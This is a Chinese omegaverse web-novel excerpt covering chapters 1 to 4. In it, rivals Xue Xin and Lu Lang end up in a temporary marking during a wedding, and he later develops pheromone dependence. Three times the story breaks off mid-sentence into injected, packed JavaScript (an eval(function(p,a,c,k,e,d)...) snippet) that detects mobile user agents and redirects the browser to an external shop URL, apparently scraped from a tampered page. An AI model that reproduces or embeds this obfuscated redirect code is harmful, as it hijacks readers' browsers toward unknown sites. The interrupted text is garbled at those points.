《我只喜欢你的信息素!》
1. 第 1 章
十月末。
天气渐凉。
茂行大学新校区落成正赶上建校百年,除了常规活动,校方还安排了一场盛大的庆祝晚会。往届校友中但凡与知名沾点边的,都收到了一份邀请函。
在这方面,薛歆遇到的状况超乎寻常:
她收到了两份邀请函。
“让你帮忙带给路琅?疯了吧?”
朋友方烛满脸震撼。
“是啊。”
薛歆回想着:“组织校庆的人说联系不上路琅,听说我跟他偶尔能碰上面,就找我帮忙带过去。”
方烛:“他们也不怕你一怒之下把路琅连邀请函一起活吃了。”
薛歆:“……我在你心里到底是什么形象?”
方烛:“拜托,我这是绝对合理的有关联想,你俩都互掐多少年了?既然这样,你准备再找谁把东西带给路琅?”
“不找谁。”薛歆翻翻日程表,“周六有个高中同学结婚,路琅也去,我顺手给他就行。”
方烛立刻举手:“那我也要去!”
薛歆:“你又不认识我高中同学。”
“管他呢,我要跟你去。”方烛摸了摸下巴,“说真的,我一直很好奇,你和路琅一A一O,也没有深仇大恨,掐了这么多年怎么可能一点火花都没——嗷!”
激情发言被强行打断,方烛住了嘴,幽怨地看着仍悬在头顶的手。
薛歆:“我这辈子都不可能和路琅有火花。”
方烛:“这就是典型的flag!”
-
由于发言不慎,方烛失去了最佳观影席位。到了周六中午,薛歆选择独自赴宴。
但她没找到路琅。
参加婚宴的人很多,距离正式开始还有四十分钟,前排的十几桌都快坐满了。
人来人往,就是没有路琅的影子。
最糟的是,人多起来了,通风系统的功率却没升高多少,信息素越来越浓。
薛歆的易感期快到了,本来就容易烦躁,在这种环境里待久一点,眉毛都皱了起来。
“怎么了?”
旁观五分钟后,老同学程凌冰终于忍不住问:“你在找人?”
薛歆秒答:“对,路琅呢?”
“路……”程凌冰被问得愣了下,确认道,“路琅?”
薛歆:“他没来吗?”
程凌冰看她的目光带上了探究:“来了,我刚才从那边过的时候还看到他了,在……”
薛歆望过来:“在哪儿?”
程凌冰:“……”
她是Beta,并不知道薛歆的情绪是信息素导致的,只用匪夷所思的目光看着老友。过了一会儿,她似乎突然想通了,换上了一副明显不赞同的表情。
薛歆被看得有点莫名其妙:“怎么了?”
“今天可是人家的婚礼。”程凌冰勾着她的肩膀,凑过来小声说,“你俩平常吵吵就算了,大喜的日子,好不容易合个笼就别互咬了。”
薛歆:“……”
“我在你们眼里到底……”她懒得再解释,摆了摆手,“我找路琅是有正事,他人呢?”
程凌冰怀疑地看了看她,指向二楼:“我看见他上去了。”
薛歆低头看表,发现时间已经不早了,起身就走:“我马上回来。”
程凌冰在身后喊:“路琅好歹是个Omega,你客气点!”
薛歆没应声,径直走向楼梯。
二楼没有席位,除了化妆间,就是几个特意腾出来的宾客休息室。新人刚在这拍过一组照片,为了采光,几扇窗户都大开着,比楼下的空气清新了不止一倍。
薛歆总算缓了口气。
婚宴就快开始了,二楼空荡荡的。她走上来,碰巧看见一个正要下楼熟人,询问过后,对方告诉她路琅去了走廊尽头的房间。
和程凌冰一样,熟人也是一副活见鬼的表情。
不过,这也不能怪他们。
薛歆想起了一些往事。
从某个角度来说,她和路琅算是很有缘分。
两人从初中开始就是校友,高中直接分在一个班,大学不是同专业,基础课程却还有不少重合,几乎天天碰面。
毕业后,多数朋友都去了外地发展,长留本市的也还是只有他们俩。
鉴于双方契合的性别、般配的外貌和重合度极高的人生经历,如果两人不是这种见面就吵架、隔空还要互骂的状态,偷偷嗑邪门cp的朋友早就舞到正主脸上来了。
而直到现在,还是没人知道薛歆和路琅的关系为什么差成这样。
站在薛歆的角度,真要追根溯源,其实……
其实她也不知道。
最开始是刚上高中的时候,路琅无缘无故找茬,薛歆只是反击,往后一直没和解,怼着怼着就不可收拾了。
大部分吵架的原因薛歆都记得,但最初那次路琅究竟是发什么疯,她不知道,也没想过要问。
随便吧。
这么久不见面,聊天都不好起话题,估计想吵也难吵起来。
薛歆如此想着,伸手推开了休息室的门。
一片寂静。
和每个空房间一样。
不过,沙发上的确坐着一个人。
室内光线太亮,薛歆在门口站了会儿,眼睛才适应过来,看清了那正是她在找的那位。
路琅似乎睡着了,靠在沙发一侧,用手掌撑着额头。他只穿了件薄衬衣,领带散放在扶手上,露在外面的一截脖颈雪白,又隐约浮着层淡淡的红。
窗帘开着,阳光自上而下地照在他身上,勾出一道细细的淡金色轮廓。
像一幅油画。
刚进大学的时候,路琅就漂亮得出了名,开学那段时间,连邻校的人都慕名过来,弄得他烦不胜烦。
薛歆认识他太久,对外貌早就免疫,看见这幅情景只是稍微停了停,就直接走了进来。
推门的动静很小,并没把路琅惊醒。她心无旁骛地往里去,想着要不要直接叫他起来,没走出两步,忽地闻到了一丝香气。
说淡又有点浓。
某种白花的香气……柚子花?
Omega信息素。
薛歆这时才想起了程凌冰最后那句话。
可能是因为从来只顾着互怼,她平常不是很注意到路琅的性别,更别说记着AO有别了。
……路琅确实是个Omega。
薛歆又想起自己的易感期。
路琅独自待在房间里,作为一个快到易感期的Alpha,她再靠近明显不太合适。
薛歆把刚落下的脚收了回来。
说起来,转交邀请函其实不是急事,甚至不是重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243192|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要的事,等婚宴结束,随便找谁带一下就行。今天是高中同学结婚,满场都是她和路琅的共同好友。
她一路找到这里也只是觉得来都来了。
但来了还可以走嘛。
薛歆思考了一下,决定原路返回。
就在这个时候,她口袋里的手机突然震动起来,拿出来一看,屏幕上显示着程凌冰的名字。
薛歆快步走出休息室,接起电话:“喂?”
程凌冰的语气很急:“你找到路琅没有?”
薛歆:“找到了。”
“那就好,你快把他喊下来,我跟新人说一声。”程凌冰说,“待会婚礼有个环节要他发言,这边满场找不到人正着急,还有二十分钟,可别迟到啊。”
刚说完,程凌冰就急匆匆地挂了电话。
薛歆放下手机,侧头看向紧闭的门,比起路琅的容貌,先在脑海里成形的是关于那点淡香的记忆。
她叹了口气,再度推门。
早知道应该打针抑制剂再出门的,路琅也不知道收着点信息素,这可是公共区域……
“薛歆?”
推开门的下一秒,一声略带疑惑的呼唤突然响了起来。
沙发上,路琅不知何时竟然已经醒了,正抬起头朝这边看,黑瞳亮得像含着水似的,眼尾泛着一点红。
他没有彻底清醒,神色中还有倦意,可叫完名字的一瞬之后,这张漂亮而冷淡的脸就像着了火,眉头拧紧,唇抿成一线。
路琅冷声道:“没人教过你敲门?”
薛歆终于反应过来,并不理会,若无其事地走了进来,靠在门边站着。
熟悉的感觉回来了。
什么O啊A的。
不重要。
“这是公共区域。”薛歆敲了敲门框,“不想其他人进得挂个牌子,没人教你吗?”
路琅冷冷地别开眼。
放在以前,这会他已经开始赶人了,今天可能是还没睡醒,只是冷哼了一声,就没再说什么,等着她自己识趣离开。
过了半分钟,薛歆还没走。
路琅忍不住了:“你还不走?”
“啧,脾气也太坏了。”薛歆自言自语地说了句,从包里拿出邀请函,“百年校庆的邀请函,学校让我帮忙转交给你,喏,我带来了。”
她一边说,一边朝房间中央的长桌走过去。
路琅蓦地转回眼,目光急促地凝过来,连头发丝都像是跟着绷紧了。
薛歆起先没有注意。
休息室里各处堆满了水杯餐盘和衣服,什么都放不下,她走到桌子前,无从下手,只好先收拾东西。
这一刻,两人的距离拉到最近。
薛歆弯下腰,正要移开路琅面前的水杯,他整个人忽然一抖,往沙发里缩了下,双手交叠,把自己的手腕捏出几个印子。
纵然如此,他在神色上还是故作镇定,只是眼睛微微睁大了点,漆黑的眼瞳深处藏着惊慌。
柚子花香变浓了。
不同于平常空气中飘动的信息素,特别地香,明明是气味,却让人觉得温度高到发烫,有形般绕在指尖。
典型的、发热期内的Omega信息素。
薛歆动作一顿,终于意识到问题,缓缓开口:“你……”
路琅咬着牙打断她:“你还不出去!”
2. 第 2 章
这情况是薛歆没料到的。
足足过了半分钟,她一下直起身,后退了好几步。
路琅的表情依然很凶。
不过,他的眼睛睁得更大了,又圆又亮,像惊慌失措的小动物。
薛歆立刻放弃了手头的事儿,转身就要走,然而半道上,想起自己身上还有另一份任务,又停了下来。
“婚礼再过二十分钟就开始了,下面有人在找你,你还记得吧。”她打量着路琅,问,“你现在这个样子,待会能行吗?带抑制剂了没?”
路琅哼了声,没有回话。
薛歆了然:“没带?”
“好吧,我去给你找。”她想了想,“这么重要的日子,应该有备用的抑制剂,我找到了就给你拿上来,行不行?”
路琅像是没料到薛歆有这么好心,听完居然愣住了,怔怔地看了她一会儿,然后摇了摇头。
“不行。”他的嗓音有些沙哑,“我对通行抑制剂过敏,只能用特制的,已经有人去拿了。”
薛歆好不容易向老对头发点善心,没想到被拒绝得这么快。她有点尴尬,四下看看,把仍在手里的邀请函直接抛到了沙发另一侧。
“那行,我先走了。”她转述程凌冰的要求,“记得看着时间,别迟到了。”
路琅压着不适点了点头。
他都有点忘记待会儿还要上台讲话了。
今天婚宴的两位主角当初能在一起,不能完全归功于路琅,但他也算是帮着牵了个线。因为这层关系,新人特意请他当证婚人,讲讲他们相爱的故事。
婚宴会场离市区很远,路琅带了几支抑制剂备用,谁知道在路上被追尾,一下全打碎了。临时找了人送,恐怕也来不及。
路琅恹恹地想着,又往沙发里缩了缩。
他一边忍受着发热期,一边看着薛歆的背影渐渐变远,痛苦地拧起了眉头。
就算抑制剂来得及送到,也没那么快恢复状态,毕竟是人造药品,起效需要时间,不像标记那么容易。
……标记?
等等。
路琅目光一凝,撑着沙发坐了起来。
他不愿意让陌生的Alpha临时标记,才只好留在这里,可是薛歆……相看两厌,关系恶劣,但也认识多年了……事急从权,相比其他人,她好歹是个熟人,哪怕关系坏呢……对比下来,只有薛歆的标记还可以忍受。
就当被狗咬了一口。
甚至不用打疫苗。
说服自己后,路琅抬起了头。
薛歆已经走到门口,室内若有若无的Omega信息素让她很不适应,脚刚迈出去,就反手将门带上了。
缝隙在眼前一点点缩小。
路琅微微张口。
真急着要说什么的时候,他才觉得嗓子发哑到讲不出话来,眼看薛歆要走远了,情急之下,干脆抓起手边的东西朝门砸了过去。
砰——
砸过去的东西咕噜噜滚到地上,路琅没有理会,只紧紧盯着门看。
他几乎觉得过了一个世纪那么久,快要等不下去的时候,门口终于有了动静。
薛歆是屏着呼吸进来的。
“你到底是找我还是在发脾气?我……”
话说到一半,她垂眼扫视,觉得门边躺着的那个东西看起来很眼熟,弯腰捡起来,发现是茂行大学校门的石雕模型。
校庆邀请函的附送礼物。
因为被拿来砸门,摔掉了一个角。
薛歆沉默了下。
可以说跑这一趟的意义已经消失了一半。
“找我有事?”
她又问。
路琅盯着她,神色里满是挣扎,把衣摆攥出了深深的印子,好不容易,装出了一副神色自若的样子。
“标记我。”
他说。
……
寂静。
这次真是死一般的寂静。
出于羞耻,路琅一说完话,就侧过脸不再看薛歆。他的表情是端住了,生理反应控制不了,胸口急促地起伏着,脸颊被心火烧起一层红。
薛歆只用一个字就把火浇熄了。
“不。”
她似乎觉得这个字还不够坚决,一时意犹未尽,说完,匆匆地又补了一句:“不可能。”
路琅整个人都僵住。
像是被这句话扇了一耳光,他的脸色一阵白一身红,最终停留在红上,连脖子都浮了一层粉。
这次与发热期无关,纯粹是气的。
“为……”
话刚出口,路琅就用力咬了下舌头,硬生生把后半句话咽回去了。
再问为什么也太自取其辱了,就像是他多么期待薛歆的标记似的!
根本不。
发热期对情绪的影响是不可自控的。路琅平日里再怎么冷静,对薛歆再看不顺眼,在这种特殊时期被这样拒绝,很难不血气上涌。
被薛歆这样嫌弃……
路琅越想越气,盛怒之下,发热期的晕眩感再次往上涌,他闭着眼睛深呼吸。
薛歆没觉得自己说的有问题。
临时标记不是那么随便的事,要是情况紧急就算了,路琅这不是明显有其他办法吗?
何况就他们俩的关系,好声好气说话够给面子了,临时标记和咬只狗有什么区别。
她客观地建议:“抑制剂既然在路上了,就不要着急。你如果不舒服,可以吃点口服的缓释片,那个没有致敏成分,虽然效果……”
路琅听到这里,深吸一口气,睁开眼睛说:“薛歆。”
薛歆停下来:“怎么?”
路琅:“你可以走了。”
薛歆:“叫我进来的也是你,召之即来挥之即去?”
她随口抱怨了句,倒也没准备继续留,这屋子里的柚子花香味儿弄得她有点口干舌燥的。而且刺激过度,她也开始出现失控倾向,已经闻到了一点点自己信息素的气味。
清新芳香里透了点涩味。
新鲜橘皮的味道。
薛歆撂完话就朝门口走去,准备第二次离开这个地方。
“你不走也行。”
她刚转身,路琅的声音就在身后响起来,语调平淡,没什么起伏。
等到薛歆看过来,他才挑起唇角,露出一个有些挑衅的笑来:“但我要个连标记都不敢的Alpha有什么用?”
薛歆半晌没说话。
冷静。
她默念着。
这是什么小学生激将法。
她想。
薛歆足有一百种方法怼回去,其中杀伤力爆表的至少占了一半。可是面前的人是个正处在发热期的Omega
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243193|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,毕竟得注意点,尽量别刺激。哪怕这个Omega是路琅。
她控制住了自己一声不吭。
一拳打在棉花上,路琅觉得没意思了。
“行了。”他缩回沙发里,拿起手机想看看送抑制剂的人到哪儿了,挥挥手说,“你走吧。”
薛歆……
薛歆忍了。
她怕一开口就和路琅吵起来,靠在门边,默默调整了下呼吸,想等一分钟,信息素收起来后再离开。
沙发上,路琅发了消息询问,得知送抑制剂的朋友堵车在半路上,很可能比预期时间还要晚到,顿时一阵烦躁。
他扔开手机,感到发热期的症状正在快速加重,浑身发软,呼吸急促,颈后的腺体一阵阵发烫,思绪渐渐模糊。
情况越来越糟。
抬眼一看,薛歆竟然还没走。
路琅简直气笑了。
就算没有刚才那个被拒绝的小插曲,在这个世界上,要说他最不希望被谁看见自己狼狈的样子,那也还是薛歆。
“你怎么……”
路琅正要催她快走,一张口,被自己的嗓音吓了一跳——发哑,虚弱,带点鼻音,听起来放在对谁撒娇——他下意识紧紧闭上了嘴。
讲不了话,想起薛歆对标记他避之不及的样子,路琅头一晕,干了件想起来都恨不得痛骂自己的蠢事。
他决定用信息素把薛歆赶走。
既然不肯标记,闻到信息素总该走了吧!
正处在发热期,信息素本来就不太受控,路琅的念头一冒出来,浓郁的花香就快速开始流动,一瞬间铺满了整个房间。
薛歆察觉到变化,难以置信的朝他看了过来。
突然疯了吗?
她还没把信息素收拢,突然遭到这种冲击,身体本能地后退了一步想避开,其他的部分却全都活跃起来了。
若隐若现的一丝柑橘清香,焰火般在她身边炸开,完全不受控。
……多重刺激之下,易感期提前了。
路琅这时候智商余额已经不够用了。
看见薛歆后退的动作,他只觉得解气,浆糊般的脑子里冒出来几簇得意的小烟花。
咔哒。
门口忽然传来反锁声。
路琅听见了,但他此刻无论身体还是精神都非常迟钝,过了几秒,才慢慢地抬起头。
薛歆已经快走到他面前了。
剧烈的、狂风般的信息素随着她的步子一起压过来,闻起来还是那股清新的味道,气势却截然相反,不容抗拒地占领了所有空间。
路琅的眼睛一点点睁大了。
以前也闻到过薛歆的信息素,可是这一次完全不一样,这种感觉,简直……
他觉得自己要被信息素吃掉了。
薛歆在沙发前停下。
她垂下眼,看见路琅到这时候还没有躲的意思,只是仰着头看她,目光茫然,像是对接下来要发生的事情一无所知。
直到肩膀被握住,略带苦味的柑橘香气和灼热的呼吸一起逼近时,他才终于做出了一丁点反应,无意识地瑟缩了下,睫毛抖起来。
薛歆的自控力也被易感期烧得差不多了。
她俯下身,用冰凉的手指摸了摸路琅的后颈,低低地在他耳边说着。
“躲什么,不是想要标记吗?”
3. 第 3 章
路琅在轻微地发抖。
是纯粹的生理反应,他自己并没意识到,眨了眨眼,面前的景象还是模糊不清,便干脆用力晃了晃脑袋,直接把自己晃晕了。
天旋地转。
他扶着额头,用接近归零的智商想了想,觉得这应该是薛歆在动,遂伸手推了推她。
“别乱晃……”
路琅一边说,一边想按住薛歆的头让她别动,奈何姿势受限,伸出手来只勾住了她的脖颈。
薛歆顺着这个动作微微低头,一缕发丝滑下来,落在路琅的锁骨上,和肤色对比鲜明。她盯着看了几秒,眸光发暗,抬手将这缕头发拂掉了。
冰凉的头发。冰凉的手指。
路琅难受地皱起眉。
发热期接触到这种浓度的Alpha信息素,他整个人都要被烧化了,恨不得和空气里的柑橘味融合在一起,好求得一点清凉。
扣着肩膀的手许久没动作,路琅挣扎了下,没成功,只好仰着头努力贴过去,汲取着更多的信息素。
薛歆看着他含雾的眼睛,停下了动作。
到了这个关头,她的理智居然短暂回笼。
……要不还是算了吧。
虽然只是一个朋友之间也能做的临时标记,但是跟路琅?
哪怕在噩梦里都没见过这种场景。
薛歆轻按一下路琅的额头,在他眼前竖起一根手指:“冷静点,认得出来这是几吗?”
路琅毫不配合,随便扫了眼,一下抓住了她的手。
“嗯……什么?”
他含混地说。
薛歆无语地把手抽了出来。
疯完就傻。
真行。
两个人面对面,薛歆踌躇不前,路琅却积极主动。他的理智被发热期烧干净了,只想着让痛苦赶紧结束,勾着她的脖颈凑上来,低声说:“标记……你答应了。”
声音贴着耳廓擦过去,像一阵细软的风。
薛歆从没听过路琅用这种声调讲话,极不适应,下意识就要推开他,谁知路琅突然无缝变脸。
“怎么这么慢?”他的语气听起来特别怀疑,“你是不是不行?”
薛歆沉默了下。
“你什么时候才能说点好听的话?”她捏住路琅的下巴,真想干脆把这张嘴堵上,“现在是你有求于我。”
长年累月的相处里,路琅已经养成了回怼的条件反射,哪怕脑子不清楚也照样生效。
薛歆话音刚落,他就想顶回去,张口正要说话,捏着下巴的那只手突然用力,迫使他偏过了头。
浓烈的柑橘香气压了下来。
时间不早了,薛歆没再多说,低头直接咬了下去。
犬齿刺破腺体。
汹涌的信息素灌注其中。
路琅骤然失了声。
他一直以为,临时标记和发热期一样,只有痛苦、昏沉、燥热,只是一个令人厌烦的过程。
但实际上,完全、完全……
可以说截然相反。
外来的信息素连一丁点不适都没有引起,从进入腺体,带来的就全是一阵阵潮水般的舒适感。
路琅的目光渐渐涣散,眼珠像蒙着一层薄雾,聚不了焦。标记到中期,他开始无法承受那些在骨髓深处一串串炸开的火花,本能挣扎起来,每一次都被薛歆强行按在了原地。
他的喘息越发急促,偶尔,唇齿间会溢出一点点破碎的呜咽。
薛歆还是头一次听见路琅发出这么可怜的声音,Alpha的本能作祟,她忍不住加快了注入信息素的速度,直到那呜咽声变得清晰,才重新放缓。
标记持续了接近三分钟的时间。
结束的时候,路琅像是被薛歆用信息素洗过一遍似的,柑橘香包裹着他,既是屏障也是警告,高调地彰显着标记的存在。
他全身发软,抬眼的力气都没有,眸子失神地低垂着,不知注视着什么地方。
过了比标记还要更长的时间,两枚漆黑的眼瞳才终于颤动了一下。
薛歆笑起来。
她的易感期正常应该在三天之后,虽然被提前勾了起来,但不算严重,标记结束就没什么症状了。
对于这个意外的标记,她也接受良好。
只是一次性的临时标记而已,就像大学被迫在一起写小组作业,结束了就过了,又不是一辈子的事。
作为发起者,路琅不太能接受。
他很需要时间消化。
偏偏薛歆还在问。
“这个速度慢不慢?”
语气像是很关心。
路琅偏开脸,拒绝回答。
临时标记比抑制剂的效果更好,他的身体虽然还有点脱力,那种磨人的燥热却已褪去了,神智清明了很多。
……他真希望自己没有这么清醒。
再没有比这更狼狈的时候了。
太蠢了。
到底为什么会想到标记?
路琅闭上眼睛平缓心情,再睁开,朝门口抬了抬下巴:“你走不走?”
薛歆惊讶了。
“真不客气,用完就扔也没这么快。”她提议道,“好歹也说点使用体验吧。”
使用体验?
路琅的眼皮狠狠一跳。
这个词让他不由自主地开始了回忆,许多应该被永久封存的画面接二连三的跳出,每一个都让他脑子冒火。
“烂。”
路琅冷冷地说。
薛歆的表情更惊讶了:“是吗,可你刚才看起来不是这样,你……”
路琅不知道到底怎么样才能让她闭嘴。
这时,一阵急促的敲门声适时响起。
“路琅!”
有人在门外喊着。
送抑制剂的朋友到了。
路琅搭在沙发上的手指一颤,猛地攥紧,目光扫向门口。
他居然有种被人撞破的心虚感。
薛歆靠着桌子,也回头看了眼:“给你送东西的?”
来的时间点还挺巧。
路琅:“嗯。”
薛歆:“要不要……”
路琅:“是Beta。”
薛歆微微抬了下眉毛,将“开窗通风”四个字吞了回去,走去给外面的好心朋友开门。
到了门口,身后突然传来一声“等等”。
路琅强撑着起身,说:“我来。”
薛歆笑:“还要避嫌?”
她松开了门把手,走到一边,对路琅做了个请的手势,干脆把自己藏在了门背后。
路琅当做没有听见那句话。
他目视前方,半个眼神也没往这边丢,一步没停,走过来就直接把门拉开了。
门外那位正在卖力地呼喊。
“路琅!”
“你还活着吗?路——”
好心人喊得实在太起劲,很难说究竟是着急还是兴趣使然,门打开的时候,他被吓了一跳,把琅字喊成了一个压缩的“啦”。
“郑想。”路琅面无表情地说,“需不需要给你找个喇叭?”
郑想尴尬摇头,委屈地说:“我是怕你晕在里面了。”
“不过,你看起来状态挺好的啊。”他观察路琅的脸色,目露惊讶,“都不像是在发热期。”
路琅:“……嗯。”
郑想把抑制剂递过来:“我怕赶不上,路上差点闯俩红灯。你快把抑制剂打了,不然来不及了。”
路琅看向那个装着药液的玻璃管。
“不用。”他镇定自若地说,“我这次反应不严重,等忙完再打。”
这话挺违背生理知识的,但是郑想相信了。
“好吧,我一直以为发热期必须要立刻打抑制剂,不是这样吗?”他疑惑地问了句,随口说,“但你看起来是比打过抑制剂……呃,甚至比被标记过的Omega还正常。”
路琅:“……”
他光是听见标记这两个字,脑海里都会闪过数分钟前的情形,甚至感觉有点脚软。
特别是,薛歆此刻就在一步之外。
有门的阻隔,路琅并不能用眼睛看见她,但通过信息素,他完全能感受到。
强烈到无法忽视的存在感,有点懒洋洋的、在空气中丝丝缕缕飘荡的柑橘香。而且,在郑想提到标记的时候,他总觉得听见了薛歆的轻笑声。
路琅尽可能不去想,催促道:“你先下楼,我还要收拾。”
郑想:“那我在这等你呗,咱俩反正是一桌,刚好一块走啊。”
路琅:“我们不顺路,我下去了直接到后台,你先走。”
“啊,那好吧,我走了。”郑想耸耸肩,刚要转身,突然疑惑地停下了,用力嗅了嗅,“我好像闻到香味了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243194|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路琅快速地说:“是我的信息素。”
郑想:“是吗?我记得你的信息素是……”
要一个Beta精准辨识信息素太困难了,他和路琅认识这么久,也不能准确形容。
虽然都是香气,但今天和以前的好像有哪里不一样。
Omega的信息素还会改变的吗?
郑想百思不得其解,很快没再纠结了,边走边说:“我总觉得以前不是这样的,对Beta来说,你们的信息素真的太神奇了。”
他开玩笑道:“刚才有一瞬间,我有一个特荒谬的猜测,你知道是什么吗?”
……路琅突然有种不祥的预感。
郑想快乐地说了下去:“我刚才在想,你发热期居然都没反应,该不会是偷偷在屋子里藏了个Alpha吧?”
这话让路琅脚下一软,由于强烈的心虚,差点左脚绊右脚跌倒。
一只手及时扶住了他的后腰。
路琅僵住了。
门仍然半掩着,薛歆的身影被挡得彻底,几乎像一个不存在的影子。
那只手却有绝对鲜明的存在感。
“小心点。”
她带笑的声音在路琅耳边响起:“该不会真的想让别人知道,你在屋子里藏了个Alpha吧?”
-
程凌冰频频低头看手机。
她本以为薛歆很快就能回来,还想问问时隔多年再见路琅是个什么感受,没想到这都快到点了,身边的座位还是空着。
总不会真的吵起来了吧?
程凌冰忧心忡忡地想。
结合过去的种种经验,她觉得这个可能性实在不小,耐着性子又等了两分钟,决定也上楼看看情况。
这时,身边的椅子终于被拉开了。
程凌冰起身到一半,眼睁睁看着薛歆突然出现,在旁边坐下来,姿态一派悠闲。
“我的天,你怎么才回来?我都要上去找你了。”
“有事耽误了一会儿。”
程凌冰:“和路琅有关系?”
薛歆:“嗯,已经解决了。”
“真解决了?虽然我知道你有分寸,但你和路琅互掐急眼也不是一回两回了。”
程凌冰说:“有时候我也真不明白,你们俩到底怎么能这么有精力,吵了这么多年都不带歇的。”
薛歆:“也没有那么夸张吧。”
程凌冰:“都快十年了。数十年如一日,甚至没有七年之痒。”
“采访你一下。”她清清嗓子,“和一生之敌见面有什么感想?”
薛歆想了想。
这个问题……放在以前很好回答,无非就是烦躁、不爽、讨厌,但今天不同。
程凌冰提到感想,薛歆立刻记起,几分钟之前,她问过的那个很相似但还没得到答复的问题。
“烂”不是答案。
从路琅当时的表现和事后的状态来看,要说真心话,怎么也应该是另一个字。
这样的揣测不太礼貌,她很快把这个念头打消了。
薛歆:“正常见个面,没什么特别的感想。”
“不是吧。”程凌冰像头一天认识她,难以置信地说,“就这么一笑泯恩仇了?唉,薛歆啊薛歆,你已经成长为没有激情的大人了!也不知道路琅是怎么想的。”
薛歆:“他应该……”
程凌冰:“应该什么?”
薛歆摇摇头。
路琅应该还是有挺多感想可说的。
最后那个小小的插曲里,他的脸色看起来实在是太精彩了。
明明她说的是客观事实啊。
薛歆遗憾地想。
这段闲聊持续了一会儿,很快,宴会厅的灯光就暗了下来,婚礼仪式开始了。
如预先安排的那样,新人入场后,证婚环节就开始了,路琅从舞台侧方的阶梯走了上来。
他在台上站定,开口之前,目光在场内随意地扫了一圈,与坐在舞台近处的薛歆正好对上了视线。
仅仅一瞬。
双方都没有任何细微的反应,就像素不相识一般,两双眼睛很快就错开了。
毕竟,那只是一个意外导致的临时标记,一到两周就会消退,不会在往后的生命里留下任何痕迹,没必要放在心上。
——薛歆和路琅的想法都是如此。
4. 第 4 章
转眼一周过去。
薛歆没有彻底忘记那天的事,偶尔闲下来,她也会想起路琅,想起他的面容和神情,只是都很短暂。
她最近真的太忙了。
算起来,薛路两家在本市商界都是有头有脸的大角色,前者是医药行业的龙头,后者在科技领域颇有建树。
路琅毕业后进了自家公司,薛歆则逆反一点,依循兴趣弄了个摄影工作室,如今已小有起色,马上要开第三家分店。
这段时间,薛歆正在考察新店选址,每天奔波在外,清早出门夜半到家,分不出更多心思给一场小小的意外。
在她看来,路琅应该也是这样。
考虑到他一向很强的自尊心,就算没忘记,估计表面上也是一副云淡风轻的样子,绝不会再主动提起。
这是薛歆的猜测。
至于实际情况——
意外发生后的头两天,路琅的状态确实和她想的一样。
他没在任何人面前提起薛歆,只当从没有和她见过面。为了遮盖身上的柑橘味信息素,他随身携带了好几管遮味剂,连着两天,身上都只有人造芳香物质的味道。
第三天情况急转直下。
最开始是没精神。
和发热期的昏沉不一样,更接近于缺乏某种维生素时会有的乏力感,推了工作躺下休息,可也缓解不了多少。
这还只是开头,越往后,他的状态变差的速度就越快。
头疼,眩晕,浑身发冷。
情绪异常低落,有时会无缘无故地悲伤,甚至不受控地掉泪。
第七天早上。
九点多开完早会,路琅刚走出会议室就突然感觉眼前发黑,没走几步,就直接晕了过去,被紧急送到了私立医院。
一系列的检查之后,他被送进了腺体专科。
“路先生。”
医生没给一点缓冲,非常直白地说:“这是信息素依赖的典型症状。”
路琅:“信息素依赖症?严重吗?”
他此时已经清醒过来,听见这个简洁明了的病名,陡然感到一丝不妙。
医生安慰道:“不是太严重。您放心,这种病症虽然不常见,但治疗方案已经很成熟了,只要您配合治疗,是能够彻底痊愈,绝对不会有后遗症的。”
路琅:“多久能治好?”
“视情况而定。”医生说,“如果方便,请尽快联系那位给您做了临时标记的Alpha,等她来了,我们才能确定具体的治疗方案。”
路琅简直像被踩了尾巴。
他直到这一刻才真的把“信息素依赖症”放在眼前审视了一遍,难以置信地说:“那只是个临时标记,我……你的意思是我在依赖她的信息素?这太荒谬了,非她不可?”
医生没给他任何希望:“是的,非她不可。”
-
接到私立医院的电话时,薛歆刚忙完手头的事,正在和来工作室参观的方烛聊天。
“我爸妈简直疯了,”方烛一坐下就大吐苦水,“一个月给我安排了六场相亲,现在要和我见面的Omega都排到下下个月去了,我的天,搞得我像哪个不得了的明星一样。”
薛歆给她倒了杯茶:“那我真荣幸能得到大明星的亲自接见。”
方烛:“那当然,咱俩啥关系,我忘了谁也不能忘了你。”
“我姐也一样。”薛歆说,“昨天还说要给我介绍一个Omega。”
方烛的声调突然高起来:“你不会答应了吧?”
薛歆:“还没有,怎么这么激动?”
办公室里就她们两个人,门也紧闭着,方烛却还是谨慎地看了看四周,压低声音说:“你可不能脚踏两条船啊,情感纠纷有时候很麻烦的。”
薛歆不理解:“你为什么会有这样的联想?”
方烛:“那当然是——”
